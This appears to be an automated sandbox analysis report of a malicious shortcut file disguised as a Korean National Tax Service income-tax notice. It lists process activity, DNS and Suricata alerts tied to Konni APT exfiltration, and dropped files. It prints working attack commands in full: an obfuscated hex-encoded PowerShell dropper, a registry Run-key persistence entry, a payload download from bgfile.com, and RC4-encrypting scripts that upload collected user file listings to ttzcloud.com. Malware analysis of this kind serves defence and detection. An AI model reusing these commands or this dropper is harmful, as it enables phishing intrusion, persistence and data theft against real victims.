국세청 종합소득세 해명자료 제출 안내.hwp.lnk| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | Sept. 4, 2023, 6:22 p.m. | Sept. 4, 2023, 6:24 p.m. |
-
cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "KPlYGHDEJUSXbE" "C:\Users\test22\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp.lnk"
3052-
cmd.exe "C:\Windows\system32\cmd.exe" /c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l^l -windowstyle hidden $dedicte="$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D476555507154462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C546571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A57766D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-', '0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
2188-
powershell.exe powershell -windowstyle hidden $dedicte="$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D476555507154462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C546571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A57766D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-', '0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
292-
Hwp.exe "C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe" "C:\Users\test22\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp"
2492-
HimTrayIcon.exe "C:\Program Files (x86)\Hnc\Common80\HimTrayIcon.exe"
2516
-
-
wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
1700
-
-
-
-
explorer.exe C:\Windows\Explorer.EXE
1236 -
-
reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f
2796 -
powershell.exe powershell -command "$url = 'https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502';$VcuqEzofhsTtIrLF = 'C:\Users\Public\Documents\49996.zip';iwr -Uri $url -OutFile $VcuqEzofhsTtIrLF;"
2956 -
nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
572 -
tasklist.exe tasklist
1832 -
systeminfo.exe systeminfo
2752 -
timeout.exe timeout -t 5 /nobreak
2424 -
powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='http://ttzcloud.com/upload.php';$fn='TEST22-PC_cuserdown.txt';$fp='C:\Users\Public\Documents\cuserdown.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
2388 -
powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='http://ttzcloud.com/upload.php';$fn='TEST22-PC_cuserdocu.txt';$fp='C:\Users\Public\Documents\cuserdocu.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
2320 -
powershell.exe powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='http://ttzcloud.com/upload.php';$fn='TEST22-PC_cuserdesk.txt';$fp='C:\Users\Public\Documents\cuserdesk.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
1920
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| myip.opendns.com | ||
| ttzcloud.com | 88.119.169.96 | |
| 222.222.67.208.in-addr.arpa |
PTR
dns.umbrella.com
PTR
dns.opendns.com
PTR
resolver1.opendns.com
|
|
| myip.opendns.com | ||
| resolver1.opendns.com | 208.67.222.222 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| UDP 192.168.56.102:63711 -> 208.67.222.222:53 | 2023472 | ET POLICY External IP Lookup Domain (myip .opendns .com in DNS lookup) | Device Retrieving External IP Address Detected |
| UDP 192.168.56.102:63712 -> 208.67.222.222:53 | 2023472 | ET POLICY External IP Lookup Domain (myip .opendns .com in DNS lookup) | Device Retrieving External IP Address Detected |
| TCP 192.168.56.102:49187 -> 88.119.169.96:80 | 2046820 | ET MALWARE [ANY.RUN] Konni.APT Exfiltration | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
| suspicious_features | POST method with no referer header, POST method with no useragent header | suspicious_request | POST http://ttzcloud.com/upload.php | ||||||
| request | POST http://ttzcloud.com/upload.php |
| request | POST http://ttzcloud.com/upload.php |
| file | C:\Users\Public\Documents\63237951.bat |
| file | C:\Users\Public\Documents\74727756.bat |
| file | C:\Users\Public\Documents\05772046.bat |
| file | C:\Users\Public\Documents\43595826.bat |
| file | C:\Users\Public\Documents\36838375.bat |
| file | C:\Users\test22\AppData\Roaming\HNC\Office\Recent\국세청 종합소득세 해명자료 제출 안내.hwp.lnk |
| file | C:\Users\Public\Documents\start.vbs |
| file | C:\Users\test22\AppData\Roaming\HNC\Office\Recent\Temp.folder.lnk |
| file | C:\Users\Public\Documents\67611071.bat |
| file | C:\Users\Public\Documents\unzip.exe |
| file | C:\ProgramData\Microsoft\Windows\Start Menu\한컴오피스 한글 2010.lnk |
| file | C:\Users\test22\AppData\Roaming\HNC\Office\Recent\Temp.folder.lnk |
| file | C:\Users\Public\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| file | C:\Users\test22\AppData\Roaming\HNC\Office\Recent\국세청 종합소득세 해명자료 제출 안내.hwp.lnk |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| file | C:\Users\test22\AppData\Local\Temp\국세청 종합소득세 해명자료 제출 안내.hwp.lnk |
| cmdline | powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='http://ttzcloud.com/upload.php';$fn='TEST22-PC_cuserdesk.txt';$fp='C:\Users\Public\Documents\cuserdesk.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}" |
| cmdline | "C:\Windows\system32\cmd.exe" /c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l^l -windowstyle hidden $dedicte="$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D476555507154462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C546571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A57766D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-', '0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte; |
| cmdline | powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='http://ttzcloud.com/upload.php';$fn='TEST22-PC_cuserdown.txt';$fp='C:\Users\Public\Documents\cuserdown.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}" |
| cmdline | powershell -command "$url = 'https://bgfile.com/v2/read/get.php?vw=ln3&nv=xu6502';$VcuqEzofhsTtIrLF = 'C:\Users\Public\Documents\49996.zip';iwr -Uri $url -OutFile $VcuqEzofhsTtIrLF;" |
| cmdline | reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f |
| cmdline | powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$tDTVLEqumwVkQwuk='http://ttzcloud.com/upload.php';$fn='TEST22-PC_cuserdocu.txt';$fp='C:\Users\Public\Documents\cuserdocu.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($tDTVLEqumwVkQwuk);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}" |
